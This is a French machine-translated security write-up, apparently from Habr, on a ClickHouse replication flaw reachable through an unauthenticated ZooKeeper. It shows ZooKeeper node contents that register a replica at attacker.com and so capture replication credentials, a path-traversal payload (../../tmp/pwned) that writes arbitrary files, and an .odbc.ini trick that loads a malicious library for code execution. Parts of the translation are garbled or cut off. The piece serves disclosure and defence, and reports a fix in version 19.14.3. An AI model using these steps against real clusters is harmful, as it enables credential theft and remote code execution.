Cet article racontera l'histoire d'une vulnérabilité très spécifique dans le protocole de réplication ClickHouse et montrera également comment la surface d'attaque peut être étendue.
ClickHouse est une base de données permettant de stocker de gros volumes de données, utilisant le plus souvent plusieurs répliques. Le clustering et la réplication dans ClickHouse sont construits sur le dessus
L'installation ZK par défaut ne nécessite pas d'authentification, donc des milliers de serveurs ZK utilisés pour configurer Kafka, Hadoop, ClickHouse sont accessibles au public.
Pour réduire votre surface d'attaque, vous devez toujours configurer l'authentification et l'autorisation lors de l'installation de ZooKeeper.
Il existe bien sûr des désérialisations Java basées sur 0day, mais imaginez qu'un attaquant puisse lire et écrire sur ZooKeeper, utilisé pour la réplication ClickHouse.
Lorsqu'il est configuré en mode cluster, ClickHouse prend en charge les requêtes distribuées /clickhouse/task_queue/ddl
.
Par exemple, vous créez un nœud /clickhouse/task_queue/ddl/query-0001
avec contenu :
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
et après cela, la table de test sera supprimée sur les serveurs du cluster host1 et host2. DDL prend également en charge l'exécution de requêtes CREATE/ALTER/DROP.
Cela vous semble effrayant ? Mais où un attaquant peut-il obtenir les adresses des serveurs ?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
des nœuds seront créés colonnes и métadonnées.
teneur /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Est-il possible de fusionner les données de ce cluster ? Oui, si le port de réplication (TCP/9009
) sur le serveur chXX-address
le pare-feu ne sera pas fermé et l'authentification pour la réplication ne sera pas configurée. Comment contourner l'authentification ?
Un attaquant peut créer une nouvelle réplique dans ZK en copiant simplement le contenu de /clickhouse/tables/01-01/foobar/replicas/chXX
et changer le sens host
.
teneur /clickhouse/tables/01–01/foobar/replicas/attaquant/hôte:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Ensuite, vous devez indiquer aux autres répliques qu'il y a un nouveau bloc de données sur le serveur de l'attaquant qu'ils doivent prendre - un nœud est créé dans ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(Compteur XX à croissance monotone, qui doit être supérieur au dernier dans le journal des événements) :
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
où source_réplique — le nom de la réplique de l'attaquant créée à l'étape précédente, block_id — identifiant du bloc de données, obtenez - commande "get block" (et
Ensuite, chaque réplique lit un nouvel événement dans le journal et se rend sur un serveur contrôlé par l'attaquant pour recevoir un bloc de données (le protocole de réplication est binaire, fonctionnant au-dessus de HTTP). Serveur attacker.com
recevra les demandes :
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
où XXX correspond aux données d'authentification pour la réplication. Dans certains cas, il peut s'agir d'un compte ayant accès à la base de données via le protocole principal ClickHouse et le protocole HTTP. Comme vous l'avez vu, la surface d'attaque devient extrêmement importante car ZooKeeper, utilisé pour la réplication, n'a pas été configuré pour l'authentification.
Examinons la fonction d'obtention d'un bloc de données à partir d'une réplique, il est écrit en toute confiance que toutes les répliques sont sous contrôle approprié et qu'il existe une confiance entre elles.
code de traitement de réplication
La fonction lit une liste de fichiers, puis leurs noms, tailles, contenus, puis les écrit dans le système de fichiers. Il convient de décrire séparément comment les données sont stockées dans le système de fichiers.
Il y a plusieurs sous-répertoires dans /var/lib/clickhouse
(répertoire de stockage par défaut du fichier de configuration) :
drapeaux - répertoire pour l'enregistrement
tmp — répertoire de stockage des fichiers temporaires ;
fichiers_utilisateur — les opérations avec les fichiers dans les requêtes sont limitées à ce répertoire (INTO OUTFILE et autres) ;
métadonnées — fichiers SQL avec descriptions de tableaux ;
configurations_prétraitées - traitement des fichiers de configuration dérivés de /etc/clickhouse-server
;
données - le répertoire proprement dit avec les données elles-mêmes, dans ce cas pour chaque base de données un sous-répertoire séparé est simplement créé ici (par exemple /var/lib/clickhouse/data/default
).
Pour chaque table, un sous-répertoire est créé dans le répertoire de la base de données. Chaque colonne est un fichier distinct en fonction de
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
La réplique s'attend à recevoir des fichiers portant les mêmes noms lors du traitement d'un bloc de données et ne les valide en aucun cas.
Le lecteur attentif a probablement déjà entendu parler de la concaténation non sécurisée de file_name dans une fonction WriteBufferFromFile
. Oui, cela permet à un attaquant d'écrire du contenu arbitraire dans n'importe quel fichier du FS avec des droits d'utilisateur. clickhouse
. Pour ce faire, la réplique contrôlée par l'attaquant doit renvoyer la réponse suivante à la requête (des sauts de ligne ont été ajoutés pour faciliter la compréhension) :
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
et après concaténation ../../../../../../../../../tmp/pwned
le fichier sera écrit /tmp/pwned avec contenu bonjour du gardien de zoo.
Il existe plusieurs options pour transformer la capacité d'écriture de fichiers en exécution de code à distance (RCE).
Dictionnaires externes dans RCE
Dans les anciennes versions, le répertoire avec les paramètres ClickHouse était stocké avec les droits d'utilisateur click house défaut. Les fichiers de paramètres sont des fichiers XML que le service lit au démarrage puis met en cache /var/lib/clickhouse/preprocessed_configs
. Lorsque des changements surviennent, ils sont relus. Si vous avez accès à /etc/clickhouse-server
un attaquant peut créer le sien root
.
ODBC vers RCE
Lors de l'installation d'un package, un utilisateur est créé clickhouse
, mais son répertoire personnel n'est pas créé /nonexistent
. Cependant, lors de l'utilisation de dictionnaires externes, ou pour d'autres raisons, les administrateurs créent un répertoire /nonexistent
et donne à l'utilisateur clickhouse
accès pour y écrire (SSZB! environ. traducteur).
ClickHouse prend en charge odbc-bridge
, il n'est donc plus possible de spécifier le chemin du pilote à partir de la requête. Mais un attaquant peut-il écrire dans le répertoire personnel en utilisant la vulnérabilité décrite ci-dessus ?
Créons un fichier ~/.odbc.ini
avec un contenu comme celui-ci :
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
puis au démarrage SELECT * FROM odbc('DSN=lalala', 'test', 'test');
la bibliothèque sera chargée test.so
et reçu RCE (merci
Ces vulnérabilités et d'autres ont été corrigées dans ClickHouse version 19.14.3. Prenez soin de votre ClickHouse et de votre ZooKeepers !
Source: habr.com